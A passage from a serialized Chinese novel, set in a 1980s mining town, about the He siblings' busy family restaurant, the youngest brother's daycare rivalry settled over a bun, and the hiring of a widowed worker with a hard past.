其实他看到中年男人后,还想起了刘老头。 以前刘老头就是自己穿着破破烂烂,把单位发的工作服都留给他们兄弟穿。 他年纪小,总要穿哥哥们的二手衣服。 有次刘老头特意和总务科要了小一码的工作服,回家拿给他穿,还被刘母呲哒了一顿,嫌他不会过日子。 刘老头恍然。 他走到门口,探头看看外面院子,又反身回来,将供完的韭菜盒子都塞给刘爱民。 “你吃,别叫你兄弟侄子们看见了。” 接着,刘老头又从衣柜底下翻出个手帕包,打开后取出一张大团结,塞到刘爱民口袋里。 “自己去 饭店吃点好的,别吃什么榆钱饭了,那没油没肉的,吃了哪有力气上班?” 刘爱民一手拿着韭菜盒子,一手捏着兜里的钱。 他冲动道:“爸,咱们一起出去吃顿好的,谁也不告诉!” 刘老头一乐,以为儿子是在逗乐子,就说:“那感情好,你什么时候请我啊?” 刘爱民说:“就现在!” 刘老头傻眼了:“啊?” 煤矿人家,刘老头坐在隔间,面前是一桌子的菜。 干巴巴的瘦老头吃得两腮都鼓起来,含糊不清地说: “这厨师手艺好,至少有你妈的一半水准了!” 第74章 第74章托儿所的美食外交 乌城矿务局,机关托儿所。 贺小弟在小朋友们的簇拥下,得意洋洋展示着偷偷从家里拿出来的春晚笔记本。 “我们家猜谜得了春晚一等奖!全矿务局只有我们家才有春晚奖品!” 旁边的小朋友不无艳羡地说: “贺明华,能不能给我摸一摸?” 贺小弟当即拒绝:“那不行,你摸脏了怎么办?” 小朋友看看自己两只脏兮兮的小爪子,哒哒哒跑到教室前的水盆,在里面涮了涮手,在衣服上蹭干了,又哒哒哒跑回来。 “洗干净啦!” 贺小弟严谨地检查了一遍,这才将笔记本递出一点,让对方摸了摸本子的封底边缘。 “可以了,你已经摸到了,不能再摸了。” 小朋友的指头才碰到笔记本,贺小弟就“嗖”地把笔记本收回怀里。 “唉,你哥哥姐姐都真厉害,我爸爸妈妈爷爷奶奶伯伯婶婶叔叔姑姑们一个都没猜中……” 另外一个小朋友郁闷地掰着小指头数。 他记性好,将大年三十一起吃团圆饭看春晚的亲人都列举出来。 虽然贺明华没有爸爸妈妈,可是他的哥哥姐姐比别人家的爸爸妈妈还要厉害呢。 听到这话,贺小弟骄傲地挺起了小胸脯。 他的哥哥姐姐就是世界上最厉害的人! 不对,姐姐比大哥二哥还要更厉害,更聪明——他的姐姐是世界上最厉害的人! 一个怯生生的小女孩说:“贺明华,你可以给我摸一下吗?” 小女孩乖巧干净,穿着粉嫩的毛线衫,头上还别着彩色发夹,和旁边挂着鼻涕的糙小子们相比,简直像个洋娃娃。 贺小弟大大方方地把笔记本递到小女孩面前,豪爽地说:“你摸,随便你摸!” “哇,这个笔记本真漂亮,真好看!” 小女孩轻轻用手摸着封皮,乌溜溜的一双大眼睛里全是喜爱。 “贺明华,你家里的人都真聪明,我爷爷是校长,他才猜对了两个谜题。” 贺小弟被夸得飘飘然,一脸傻笑:“嘿嘿,我家还有春晚奖励的圆珠笔,我下次带来给你看!” 小女孩眼睛一亮:“太好了,我还没见过春晚的圆珠笔呢。” 之前和贺小弟打过架的小胖子,原本坐在座位上,背对着叽叽喳喳围观春晚笔记本的小朋友们。 听到小女孩的话,他忍不住走过来,不屑地说:“圆珠笔算什么,我家里有很多圆珠笔!倩倩,别看他的,我明天带给你看!” 倩倩礼貌而诚实地说:“谢谢你,刘改革。可是贺明华家的圆珠笔是春晚奖品,你家的也是吗?” 小胖子刘改革一噎。 他家哪有春晚圆珠笔,大年三十晚上的猜谜,他家没一个猜中的。 小胖子踏着重重的步伐走到贺小弟面前,小胖手一伸,命令道:“我也要摸!” 贺小弟把笔记本藏到身后,大声道:“才不给你摸!” 小孩子也知道什么是区别对待,什么是没面子,小胖子的脸一下子就涨红起来。 “别人都摸了,凭什么不给我摸!” 贺小弟说:“就是不给你摸!” 小胖子急了,探着身子去抢笔记本:“我就要摸!我就要摸!” 他是家里的小皇帝,全家上下都让着他宠着他;到了幼儿园,他吃得肥壮,脾气又霸道,其他小朋友打不过他,也不得不让着他。 偏偏贺小弟也脾气大,是家属区同龄人的孩子王,天天带着一群孩子在小巷里瞎玩。 他转到机关托儿所上学后,和同班的小胖子很不对付,隔三差五就打架,不是你咬我胳膊,就是我挠你脖子,谁也不肯让谁。 贺小弟虽然体格不如小胖子大,但他性子倔,路子野,五岁的年纪就有四年的打架经验,打架时赢得多输得少。 小胖子从没吃过这么大的亏,刘家爹妈一看儿子被欺负,立马就找了托儿所的老师告状,要求处分贺小弟。 这也就发生了开头的贺小弟被托儿所要求退学的事。 在贺明珠大闹托儿所后,余老师成了食堂打杂的,这个班换了个刚工作的年轻老师。 原本还要将贺小弟调到其他班,但其他老师都知道贺家有个不好惹的刺头,各种推脱,最后还是砸到了年轻老师的手上。 年轻老师平时很注意,将贺小弟和小胖子的座位调开得远远的,中间隔着楚河汉界,标准的鸡犬相闻但老死不相往来。 没想到,今天她就出去了一会儿,班里就又打起来了。 小胖子要抢笔记本,贺小弟不给,争抢中,俩小朋友滚到地上,打成了一团。 其他小朋友们不知所措地围在旁边,急得说:“别打了!别打了!” 还有机灵的小孩,见阻止不了打架,就跑出教室去找老师。 年轻老师跟着通报的小朋友进了教室,看到此番场景,脑子嗡嗡的。 她急忙冲上去,拉开两个缠在一起的小孩。 混乱中,不知道被哪个踢了一脚,在她新织的白毛衣上留下一个黑不溜秋的鞋印。 年轻老师眼前就是一黑。 刘家父母下午接孩子时,发现小胖子的圆脸蛋上有个清晰的小牙印。 当晚,刘家召开紧急家庭会议。 “不行,不能再继续下去了!” “矿猴儿太野蛮了,没素质,没教养,我们改革怎么能和这样的孩子在一个班呢?” “找托儿所,必须找托儿所!” “找托儿所有用吗?上次不就找了那个余老师,结果那个矿上孩子还在班里,余老师反而去食堂打杂了……” “不行这次让咱爸出面,就算看在老领导的面子上,所长也得把那个矿猴儿处理了!” 另一边,贺明珠拎着皱巴巴的笔记本,审问贺小弟。 “怎么搞的,又和人家打架?” 贺小弟不服气地嘟囔:“是他先要抢我的笔记本……” 贺明珠无语地看着贺小弟。 这小子这段时间吃得好睡得好玩得好,噌噌噌长身体。 原本又黑又瘦的小猴子,在她不间断的投喂下,现在明显白胖多了,个子长了一大截,脾气也跟着水涨船高。 在她和两个哥哥面前,贺小弟还收着点;等到了外面,那简直是恨不得称王称霸。 在家属区收服一众小弟也就算了,连托儿所也不放过。 人家年轻老师都向她告过多少次状了啊摔! 搞的贺明珠现在都不好意思去托儿所接贺小弟放学,这个艰巨的任务就推给了贺明军。 他年轻英俊还未婚,看在他那张帅脸的份上,年轻老师含羞带怯,被他一笑就忘了要告状的事。 但也不能总出卖二哥的色相呀…… 贺明珠决定快刀斩乱麻。 “贺明华。” 贺明珠难得严肃地叫了贺小弟的全名。 “你要是再敢和小朋友打架,就罚你吃一周大哥做的饭。” 贺小弟原本还有些不服气,但当听到惩罚后,他整个人都蔫了下去。 小狗将军在贺小弟脚边绕来绕去,见小主人情绪低落,就扒着他的裤子,站起来去舔他手。 它已经长成半大的小狗,身上的胎毛脱了一半,这会儿正是猴脸尴尬期,丑萌丑萌的。 贺明军在旁边假装干活,竖着耳朵偷听。 当听到贺明珠说要罚贺小弟吃一周贺明国做的饭时, 他都不忍心了,开口求情道:“妹,这个惩罚是不是有点太残忍了,要不……” 贺明珠横过去一眼,贺明军做了个闭嘴的动作,把没说完的话吞进了肚里。 他转而对贺小弟语重心长地说:“老四,你打架怎么能咬人家脸呢?要打也得打在别人看不见的地方啊。” 贺小弟恍然大悟:“二哥,你说的真对!” 贺明珠:…… 对个屁! 她搁这儿教贺小弟不要砸人家玻璃呢,二哥上来就是教贺小弟怎么悄悄拆了人家房顶。 贺明珠气得把这俩都撵了出去。 “滚滚滚,看见你们就烦!” 贺明军圆润地扛着贺小弟滚蛋,小狗蹦蹦跳跳地跟在人脚边一起走了。 贺明珠余怒未消,身后传来动静,转头一看,贺明国拿了熨斗,正一页页地熨平皱巴巴的笔记本。 见她看过来,贺明国解释道:“好好的笔记本,就这么皱了怪可惜的。” 这年头印刷技术有限,高温蒸汽下,笔记本封皮的油墨已经晕成了一团糊。 贺明珠无力爬走:“大哥,你高兴就好……” 第二天,贺小弟照常去机关托儿所上学。 昨天晚上,二哥讲他的光辉战史讲到了半夜,贺小弟听得亢奋过度,两个人早上差点没爬起来。 差点迟到,贺明军急匆匆拎着贺小弟的后脖领子送到托儿所,把书包和饭盒一起塞到他手里,交到了老师手上。 饭盒里是贺明军给他拿的早餐。时间紧,他随手在蒸笼里抓了两个包子塞进去。 贺小弟咬开一个,发现是蔬菜馅儿的,蔫蔫地放到一边。 昨天晚上是大哥做的饭,他已经吃得很痛苦了。今天早上还没吃到他最爱的鲜肉大包子,贺小弟觉得人生都灰暗了。 他把咬了一口的包子放到一边,忧伤地趴在课桌上。 唉,接下来还要吃一周大哥做的饭…… 另一边,小胖子鼓足勇气,雄赳赳气昂昂地朝贺小弟走过来。 他妈妈说了,今天就让爷爷找所长,把贺明华调到其他班,这班里以后再没人敢和他打架了。 “贺明华!” 小胖子站到贺小弟课桌旁,大声地喊他的名字。 贺小弟眼睛都懒得转过去,有气无力地说:“刘改革,你想打架?” 小胖子瑟缩了一下,想起妈妈说的话,重又振作起来。 “贺明华,我才不怕你!” 贺小弟终于抬起头,正眼看他,学着二哥的模样嗤笑一声:“嘁,谁稀罕搭理你,手下败将。” 小胖子被激怒,重重上前一步,左右看看,寻找适手工具——他才不要赤手空拳和贺明华打架,他的力气真的好大,打得他好痛呜呜呜…… 托儿所里能有什么合适打架的工具,班里有俩刺头,年轻老师连扫把都不敢往教室放。 小胖子看了一圈,没找着打架的家伙事儿,反而在贺明华桌子上发现了两个大包子。 包子皮雪白,酥松柔软,顶端的褶子精致得像一朵盛放的小花。 而咬开一口的包子,露出了藏在其中的馅料,颜色鲜艳可口,散发着诱人的香味。 小胖子呆呆地看着,眼睛都直了,将口水咽了又咽。 小胖子家里人的厨艺相当一般,唯一的做饭秘笈就是舍得放油放糖放肉。 在这个缺油少肉的年代,这样油水大的食物谁见了不说一声好? 小胖子从小就吃着这样的饭菜长大,因此对食物好吃与否的判断依据只有肉够不够多。 他还曾因为托儿所的饭菜不够油水丰富,哭着闹着不肯上学——要知道,机关托儿所的伙食已经是全矿务局出了名的好,和矿务局办公楼相比,也差不到哪儿去。 可今天,小胖子稚嫩的脑袋里,忽然多了一种对食物的评判标准。 包子看起来圆润可爱,像一只胖嘟嘟的小猪猪,雪白柔软,让人有种想捏一捏,看看是不是真的有这么软的冲动。 露出的包子馅儿看起来是那么的鲜香美味,蔬菜丁粒粒分明,红黑白三色交织,光是看着,就知道吃起来有多么细腻爽口。 和自家因碱面放多、发面不到位而颜色发黄、外形皱缩的包子相比,贺明华家的包子简直是包子界的小公主,光卖相就甩开了十万八千里。 小胖子被馋的受不了,他在吃的上面一向没什么自控力。 但包子的主人是贺明华欸! 是他不共戴天、势不两立的敌人,怎么能吃他们家的包子呢! 可……可他真的很想尝一尝,这个包子是不是像看上去一样好吃…… 小胖子心理挣扎了半天,然而在其他人看来,也就是对着包子发了几分钟的呆。 他一咬牙一跺脚,终于下定决心,怯怯地问贺小弟: “能给我吃一口你的包子吗……” 要是搁以前,贺小弟绝对不会让别人吃他的包子,就算是全班最可爱的倩倩也不行。 但自从自家姐姐摆摊以来,他这几个月吃过的好吃的超过了过去几年累积。 在不间断的投喂下,不知不觉中,贺小弟心里和胃里的黑洞,就那么渐渐地被填平了。 他现在不仅不再贪吃护食,甚至还有点小挑食。 听到小胖子的请求时,贺小弟犹豫了下,心里是不想给的。 但贺明珠自从发现贺小弟挑食的苗头后,每天耳提面命地教导他不许浪费粮食,必须吃干净碗里的饭菜,不许剩下一粒米。 时间长了,贺小弟在习惯性珍惜粮食的同时,也生出了一点小狡猾。 既然不可以浪费食物,那他就只吃爱吃的东西,不爱吃的坚决一口都不吃,这样就不算浪费粮食了吧? 可今天贺小弟咬了一口蔬菜包子,按姐姐的要求,他是必须要吃完的…… 小胖子忍着羞,又说了一遍:“贺明华,能不能给我尝尝你的包子?求求你了……” 贺小弟眼睛一转,故作犹豫:“可是你尝过的话,包子上就有你的口水了啊。我姐说了,口水里都是细菌,不卫生。” ——贺明珠说这话是让这小子别动不动就张嘴咬人,被他活学活用在这儿。 小胖子哭丧着脸,以为贺明华拒绝了他的请求,心里既委屈又生气,除了爷爷,他从没求过别人。 太丢脸了,他本来就是来找贺明华打架的,现在怒气值biubiubiu上涨。 没成想,贺小弟转而说道:“你不可以尝一口,要吃你就全部都吃完。” 小胖子瞬间狂喜:“真的吗?太好了!” 贺小弟严谨地说:“一口都不许剩哦,就算不好吃你也必须都吃完。” 小胖子拍胸脯保证:“我一定都吃干净!” 话音未落,他已经抓起来觊觎已久的包子,啊呜一口塞进嘴里。 好好吃啊! 小胖子高兴地在地上蹦,嘴里也不闲着,一通大嚼特嚼。 包子皮柔软细嫩,包子馅鲜美多汁,咬开后,舌尖上裹着蔬菜的清香,饱满的馅料带给人无与伦比的满足感。 小胖子原本是不爱吃菜的,每次都得大人求着哄着才勉强吃一点点,让多吃还生气,就算是上火便秘也不肯松口。 可这个蔬菜包子却完全不一样。 红色的胡萝卜擦成细丝,黑色的木耳切成碎丁,和白色的小块豆腐拌在一起,口感层次丰富,味道格外鲜美,还带有一丝胡萝卜自带的甜味。 小胖子从来没有吃过这么好吃的包子! 包子皮果然和看起来的一样柔软蓬松,用手一捏就是一个小坑,松开手后又缓慢回弹。 和馅料贴着的那层包子皮最好吃,既有面食的嚼劲,又浸透了鲜美馅料的汤汁,每一口都让人吃得幸福地眯起眼来。 小胖子依依不舍地吃完了包子,长长喟叹一声。 在他幼小的生命中,还是第一次感受美食带来的震撼。 “贺明华,我可以再吃一个吗?” 小胖子向贺小弟恳求道。 贺小弟干脆地说:“不行!” 同意小胖子吃掉那个被他咬了一口的包子是为 了避免浪费粮食,另一个包子是完好无损的,他要带回去给大哥吃。 大哥是不会介意吃他没吃完的包子的嘿嘿…… 小胖子急道:“我把玩具都送给你,只要你让我再吃一个,求求你了……” 贺小弟被纠缠得有点烦,但贺明珠昨天才三令五申不许打架,他也不能把小胖子打走。 这时,倩倩走过来问:“你们在干嘛呀?王老师说班里同学不许打架~” 贺小弟灵机一动,问倩倩:“你吃包子吗?” 倩倩:“啊?” 小胖子:“啊!” 倩倩是贺小弟的同桌,经常被分享他带来的好吃的,知道贺家的饭好吃,就高高兴兴地捧着包子去吃了。 小胖子伤心欲绝地说:“你为什么要把包子送给她?!” 贺小弟理直气壮地说:“倩倩是我的好朋友,我愿意把包子送给倩倩。” 好朋友? 小胖子陷入了沉思…… 这天快下学时,小胖子的爷爷来了托儿所,找所长商量让贺小弟转班的事。 所长实在不乐意和贺家人打交道,生怕又招惹到那个刺头小姑娘,敷衍道:“小孩子间打打闹闹很正常,没什么大不了,大人插手把事情闹大了,反而对孩子不好,呵呵……” 刘家爷爷不听他这话,态度坚决:“我孙子都被那小子咬得破相了,谁知道这些矿上的小孩还有什么损招儿,万一出了事儿,那可是一辈子的大事!” 所长说不过,只好带着刘爷爷去了班里。 原本是想把年轻老师叫出来,让她去对付家长,没想到,隔着窗户,竟看到小胖子强行拽着贺小弟,站在老师面前,气壮山河地说: “王老师,我要和贺明华坐同桌!我要做贺明华的好朋友!” 所长:…… 刘爷爷:…… 教室外,所长缓缓转头看向刘爷爷:“这就是您说的俩孩子不对付,经常打架?” 刘爷爷人都懵了。 这都算什么事儿啊?! 清明时节雨纷纷,贺家四口人集体去给贺父贺母上坟。 贺明国和贺明军两兄弟带着锄头铲子,一个修整坟头,一个将杂草都清理干净。 贺明珠将贡品摆在坟前,在地上划一个圈,点燃了香烛纸钱金元宝。 贺小弟年纪小,对父母的印象模模糊糊,好奇地看着石碑上的名字和照片。 他胆子大,不害怕,对着遗像说:“爸爸妈妈,我和哥哥姐姐来看你们啦!” 遗像里的父母笑得和蔼,目光柔和。 贺明军拍拍贺小弟的脑袋,说:“小点声,爸妈都被你吵醒了。” 贺小弟乖乖地“哦”了一声,压低了声音,对着墓碑碎碎念。 “大哥找到大嫂了,虽然要把好吃的分给她一半,但姐说结婚就是这样,结婚可真麻烦……” “二哥教我打架,二哥真是太厉害了,其他人都打不过他,我也要像二哥一样,打遍天下无敌手!” “姐最厉害,做饭特别好吃,大家都说我长胖了,可是我觉得我吃得也不多,而且我还没吃够呢,怎么就胖了呀?” “刘改革要做我的好朋友,可是我不想和他交朋友,他就是看上了我的包子,哼!倩倩才是我最好的朋友~” 纸钱烧尽,火焰将熄时,贺明珠将一把欠条拿了出来,兄妹三个将欠条投入火中,看着上面的字迹在火焰中消失不见。 一阵柔和的春风吹来,卷着灰烬飘向了半空,最终消失不见。 荒山上,春风拂过,绿草初生。 四月,报纸上传来了好消息。 国企原本是向国家上交利润,现在改为了缴税,而纳税后剩余的利润全部由企业自行支配。 不用上交全部利润,账上有了大笔的钱,乌城矿务局决定给职工们上涨工资。 一时间,矿务局内喜气洋洋,人人脸上带笑。 煤矿人家也迎来了新的营业高峰。 第75章 第75章天地一家春 “来,让一让,让一让,小心碰到菜!” “谁点的猪肚鸡?菜好了,来窗口取一下!” “同志,能不能和你们拼个桌?” “妈妈,我还没吃够,我们能不能再点一份韭菜盒子呀?” “谁的挎包落下了?” 煤矿人家,店里挤得像春运火车站,到处都是人,摩肩接踵,吃饭的点餐的排队的取菜的,闹哄哄乱成了一锅粥。 贼猫早无立足之地,连放在角落的猫盆都被人无意间踢了好几次,它蹲在大梁上,心惊胆战看着下面密密麻麻的人头。 喵了个咪的,太可怕了,人怎么会比谷仓里的老鼠还要多…… 贺明珠、贺明军和徐和平三个人此时已经忙到快要飞起,灶台上的大锅就没有一刻停过,刚炒完一道肥肠,热水冲一下锅,下一道猪肝就已经等着下锅了。 贺明军现在是熟练工,但也快受不了这样的劳动强度,忙得两眼直冒金星,好几次都错把糖当盐撒进锅里。 幸好还有贺明珠补救,这才没酿成上菜事故。 如果说后厨里的两个人还能互相搭一把手,那么前厅的徐和平就是真正意义上的孤军奋战了。 才将上一桌人吃完的碗盘筷勺撤下去,还没来得及擦桌子,下一桌人已经迫不及待一屁股坐下去,赶忙先占住椅子。 有时抢桌子的人多,相互之间口角几句,他还得充当救火队员,免得在店里打起来。 瞅个空子,徐和平就赶紧去后厨洗碗,要不等会儿上菜的碗盘就没有了,总不能让客人模仿阿三拿手抓菜吃吧。 幸好贺明国值班结束后赶了过来,接手洗碗的工作,这才没让徐和平忙出影分身。 齐家红下班后也过来帮忙,将后厨择菜洗菜备菜的活儿都揽了过去。 她做事心细,手脚麻利,蔬菜都择得干干净净,用水洗一洗,放到案板上切好,控干水分就能直接下锅翻炒。 就连贺小弟也做出一副小大人模样,像模像样坐在收银台后,看哪桌点了菜还没付钱,就噔噔噔跑过去,小手一伸,要人家把账结了。 客人逗他:“小屁孩还会算账呢?” 贺小弟很严肃:“我当然会算账!我姐说了,我是我们家的财务总管!” 客人只当他在说孩子话,笑道:“去叫你们家大人来,小孩子懂什么结账,连一桌子菜花了多少钱都算不清楚的。” “谁说我算不清楚?!” 贺小弟不服气,掰着指头,将桌上的菜名和价格依次报出来,最后说了个总价:“一共是十一块六毛三分钱!” 客人惊讶:“哟,还真会算账啊。” 他去问同桌的人:“你们算算,这总价对吗?” 煤矿人家饭菜定价的尾数不是九毛九就是九毛八,算起来还真有点费劲。 有人掏出纸笔,照着菜单上的标价,开始一道道地计算价格。 算完一看,惊道:“嘿,还真是十一块六毛三!这小孩有点本事啊!” 贺小弟骄傲地挺起了小胸脯,再次把小手伸出去。 “现在你们可以结账了吧?” 客人嘿嘿一笑:“不行。钱怎么能交到小孩手上,去把你家大人叫来。” 贺小弟气鼓鼓地哼了一声,转过身,踏着重重的步伐去找徐和平。 他就知道,这些大人看他是个小孩子就不肯对他放心,好像没了大人,他什么事也干不了。 欸,到底什么时候才能长大呢? 贺家这一家子集体上阵,终于赶在打烊前,将最后一桌的客人送走。 贺明军围裙也没解,从后厨出来后立刻就瘫在了椅子上,说什么也不起来。 “没想到,这当厨子还是个体力活啊……” 贺明国将最后一桌的碗筷收起,端到后面去洗。齐家红拿了块抹布,把桌上的食物残渣和油渍都擦干净。 贺小弟拿起扫把,像模像样地去扫地上的垃圾。 贼猫顺着柱子从房梁上爬下来,心有余悸地窝在收银台上。 这一天下来,可算能脚踏实地了。 徐和平在后厨堵住了贺明珠,一副有重要事情要和她谈的严肃模样。 他不说话,贺明珠也不说,自顾自地解开围裙,脱下被油烟染黄了的白色工作服,在洗脸盆倒了热水,拿胰子把手上的油污都洗的干干净净。 她不急,徐和平反而急了。 “小老板。” 徐和平一张嘴,贺明珠就是一惊,转身看他:“和平鸽,你这嗓子是……” 在饭店里吼了一天,徐和平的嗓子彻底哑了,说话好似唐老鸭,光听见嘶嘶的出气声,硬是一个字都听不明白。 他咽了口唾沫,努力润润嗓子,很严肃地说: “小老板,你要是再不招人的话,我就一头撞死在煤矿人家的大门上。” 自从矿务局宣布涨薪后,这段时间可给他累坏了,每天一睁眼就是刷不完的碗,洗不完的菜,招呼不完的客人,还有干不完的活儿。 这比他为了逃出知青点、连夜翻了一百五十公 里的大山还要累一千倍。 要知道连绵不绝的大山总有翻过去的一天,可饭店的活儿就没有干完的时候啊! 徐和平用尽平生最大的严肃劲儿,认真地对贺明珠说: “必须招人,不然我宁愿你去公安局告我,我也不干了!” 可听了他的话,贺明珠不但没有生气,反倒松了一口气: “早说啊,我还当你要涨工资呢,吓死我了。” 徐和平:??? 合着他撞死在大门口都没有涨工资严重啊?! 贺明珠路过徐和平,踮起脚尖拍拍他肩膀:“放心吧,我已经托人去找合适人选了,明天就来试工。” 徐和平郁卒了。 早知道这样,他还不如提涨工资的要求呢! 第二天,徐和平没像以往一样踩点来到煤矿人家,而是早早就来了。 没想到的是,饭店门口居然已经有人在等着了。 他一边掏钥匙,一边打量对方。 来的是个介于年轻和中年之间的女人,他有点分不清。 她蹲在地上,看脸似乎挺年轻的,但一副灰突突的打扮,暮气沉沉,整个人像朵衰败的花。 见到徐和平,她急忙从地上站起来,想露出一个笑,但似乎忘了怎么笑,肌肉抽搐半天,挤出一个狼狈的苦笑。 徐和平心里嘀咕,小老板找的都什么人啊,这能干活吗? 他打开饭店大门,想了想,招呼对方进来坐下。 女人胆怯地跟在他身后,让她坐又不敢坐,手足无措地呆立前厅。 当看到角落的扫把,她眼睛一亮,连忙走过去拿起扫把,不顾徐和平的阻拦,唰唰唰扫起了地。 昨天大家都太累,贺明珠法外开恩,没像以往一样要求收拾干净再闭店。 徐和平也乐得偷会儿懒,打算上午来了再打扫。 没想到,现在被来试工的女人抢了活儿,他倒落了个清净。 徐和平冷眼旁观,见这女人虽然胆子小,看着不舒展不大气,一副窝窝囊囊的受气样,但干活儿却是一把好手。 扫地、擦桌、摆凳子……只花了一半时间,女人就将前厅都打扫得干干净净,连贼猫的猫盆也洗了一遍,甚至还把窗户和大门都擦得一尘不染。 徐和平看着汗颜,他可从来没想起过擦门窗,除了小老板要求的标准化工作外,多余的事情他是一点也想不起来要做。 和这女人相比,他简直是好吃懒做的代名词。 徐和平心中隐隐升起一点危机感。 当贺明军骑车带着贺明珠来店里时,春日暖阳下,煤矿人家显得格外整洁干净。 褪色的春联撕了,门口的碎石扔了,砖缝里新生的野草拔了,就连门头牌匾也被擦得闪闪发光。 徐和平不知道从哪儿翻出了剩下的腻子粉,头上戴着报纸折的纸帽子,拿着刷子正在补被客人踢掉的墙皮。 贺明珠进了店,稀奇地啧了一声,说:“我怎么感觉了回到刚开业的时候啊?” 贺明军环顾一圈:“看着倒比刚开业时还亮堂些。” 红气养人,红气也养店。 生意兴旺的店里人气盛,同样的木头砖块,却显得格外明亮,似乎阳光也喜欢凑热闹,越是人多的地方,就越要温暖亮堂,让人进了门就心情舒适。 房子不是静止的死物,房子也需要滋补,人气就是最好的补品。 和之前的三产饭店相比,明明是同一套平房,此时煤矿人家却像脱胎换骨,除了相同的室内布局,再找不出相似的地方。 一边生意冷清,凄风冷雨无人问津;另一边蒸蒸日上,财源兴旺顾客盈门。 平时还不太明显,但被徐和平和来试工的女人联手大扫除后,就将饭店的另一面露了出来。 如同蒙尘的明珠被擦拭干净,散发出了莹莹的温润光泽。 贺明珠问徐和平:“和平鸽,你这是闹哪出呢?” 徐和平把刷子扔回腻子桶,撸掉脑袋上的纸帽子,若无其事地转身,扔下一句:“没什么,就顺手打扫了一下。” 啧,这顺手顺得可有点大啊。 贺明珠不管他,看到墙角站着的两只手扭成麻花的试工女人,眼睛一亮,笑眯眯走过去。 “你就是刘婶介绍来试工的吧?我是这家店的老板,我和你说一下工作内容和工资待遇吧。对了,怎么称呼?” 女人小声说:“田润花,我叫田润花……” 田润花家是二矿的,她男人在井下遇难牺牲,她拉扯着一个女儿,和公公婆婆小叔子住一起。 田润花的女儿是公婆大儿子的唯一血脉,也是他们的第一个孙辈,理论上,爷爷奶奶应该疼爱关照这个没了爹的可怜孙女。 但很遗憾,这只是理论上。 田润花公婆一点也不在乎这个小孙女,或者说,他们连田润花男人都没在乎过。 公婆在乎的只有小儿子。 在田润花男人因公牺牲后,二矿给田家补偿了一笔抚恤金,以及一个接班的井下工作。 田润花没工作,她打听过了,虽然井下不要女工,但可以和矿上申请把岗位换成地面的,那样她就能去工作了。 有工作就能挣工资,就能养活她和女儿。 但田润花公婆没和她商量,径直把工作给了小叔子,还拿走了全部抚恤金。 田润花大着胆子去和公婆抗议,被哄着说只要她不改嫁,家里养她和她女儿一辈子。 她不信,但由不得她不信。 田润花不是乌城人,嫁到这里时没亲戚没朋友没工作,现在更是连男人都没了,手头只有十几块钱,连买一张回娘家的车票都不够。 公婆虽然不稀罕这个小孙女,但儿子刚死就撵走他的老婆孩子,怕被左邻右舍唾沫淹死,不肯让她走,更不肯让她带走孩子。 田润花没钱,又舍不得孩子,只好忍气吞声留了下来。 田润花男人活着的时候,把小屋的门一关,一家三口还能和和美美过日子。 可现在小家没了遮风避雨的顶梁柱,外面的狂风暴雨就全扑了进来。 田润花娘俩在婆家深刻见识了什么叫人情冷暖,什么是孤儿寡母,多喝一口稀饭、多夹一根咸菜都要看人脸色。 田润花包揽了一大家子的家务活儿,天不亮起来干活,一直干到深夜,冬天两只手上全是冻疮裂口,洗衣服时泡在冷水中,一丝一丝地往外渗血。 身体上的饥饿痛苦还可以忍受,但心理的折磨却不是那么好忍受的。 公公婆婆煮鸡蛋炖肉吃,唯一的孙女馋得扒在门口张望,两个老东西硬是当没看见,自顾自把东西全吃完了,一口也没给小孩子留。 田润花女儿馋的实在受不了,捡了地上的鸡蛋皮舔。 田润花看见了,哭了好几场。 她趁人不注意,从公婆房间的橱柜中偷出一颗鸡蛋,煮给了女儿吃。 田润花女儿吃完鸡蛋,小大人似的感叹:“原来鸡蛋不是臭的呀……” 田润花问她,谁说鸡蛋是臭的。 田润花女儿天真地说:“奶奶说的,她说鸡蛋是臭的,小孩不能吃,吃了会死的。妈妈,我吃了鸡蛋,我会死吗?” 田润花恨得咬牙切齿,恨不能拿菜刀把他们全都劈死。 公婆发现橱柜里少了一颗鸡蛋,大发雷霆,看到墙角有一摊碎鸡蛋壳,以为是老鼠偷的,就找推车卖货的买了一包老鼠药,每天在墙角撒一点。 田润花不言不语,依旧干着家务活儿,同时偷偷地攒着老鼠药。 没过多久,小叔子闹着要结婚,非要推倒两间旧房,盖间一室一 厅的新房。 其中一间要推倒的旧房,就是他大哥,也就是田润花母女栖身的小屋。 老鼠药还没攒够,田润花母女就被赶出了家门。 田润花男人生前的同事朋友看不过眼,给这对无家可归的可怜母女在一矿找了个住的地方,还介绍了去化工厂糊纸盒子的零工。 田润花每天起早贪黑地去化工厂领纸盒子回来糊,不久就认识了同在化工厂打零工的刘婶。 刘婶是个热心人,一听田润花公婆居然这样欺负死去儿子的妻女,很是义愤填膺。 她自己家里过得也不算富裕,却时常接济这对母女,还将刘燕小时候的衣服送给了田润花女儿。 然而,光凭打零工的收入想要养活田润花母女,并从头置办起一个家,其难度可想而知。 因此,当得知贺明珠要招人去饭店干活时,刘婶立马就推荐了田润花。 贺明珠对田润花也很满意。 别看因为被关在家里太久,不工作也不与人交际,而显得有些畏缩木讷,但田润花本人非常能干,很吃苦耐劳,抓到一点机会就不放过。 她才是第一天来试工,就把一向能偷懒就偷懒的徐和平给带动了起来, 真不容易,要知道这家伙现在是不见兔子不撒鹰。 没有实实在在的美食好处,谁也别想让徐和平有一点点的干劲儿。 现在鲶鱼入缸,还怕徐和平这条沙丁鱼继续懒散下去吗? 贺明珠拍了板,定下了田润花,负责洗碗洗菜,工资比徐和平略高。 徐和平跳脚抗议:“喂,我是老职工!” 贺明珠一句话秒杀:“那你和她对换好了,她在前厅招呼客人,你在后面洗碗洗菜。” 徐和平蔫了。 跑堂可比洗碗洗菜要轻松多了。 工资高虽好,但他还是更喜欢躺平…… 呜呜呜,要不是不舍得贺明珠做的菜,他早八百年就撂挑子不干了…… 田润花高兴又紧张,她不善言辞,但贺明珠说的每句话都记在心里。 虽然不明白什么叫标准化操作流程,但她死死将贺明珠示范的每个动作都记下来,轮到她时,竟然做得大差不差,比一开始强烈抵制的徐和平可强多了。 贺明珠默默地看了一眼徐和平。 徐和平很敏感:“喂,你看我干什么!” 贺明珠感叹道:“没什么,就是头一次明白什么叫‘对牛弹琴’和‘孺子不可教也’。” 徐和平:…… 虽然他没啥文化,但别以为掉个书袋,他就不知道她在骂他! “等等,你别走,你先解释一下,什么叫对牛弹琴,什么叫孺子不可教也?到底谁是牛,谁是孺子?小老板,你怎么越走越快了呢?小老板——” 今天店里上新菜,为了应时节,上的是春饼。 厨房外摆了一张长桌,上面放着一排小碟子,里面盛着卷饼用的合菜,有冷有热,有荤有素,旁边还放着一摞现烙出锅的薄饼。 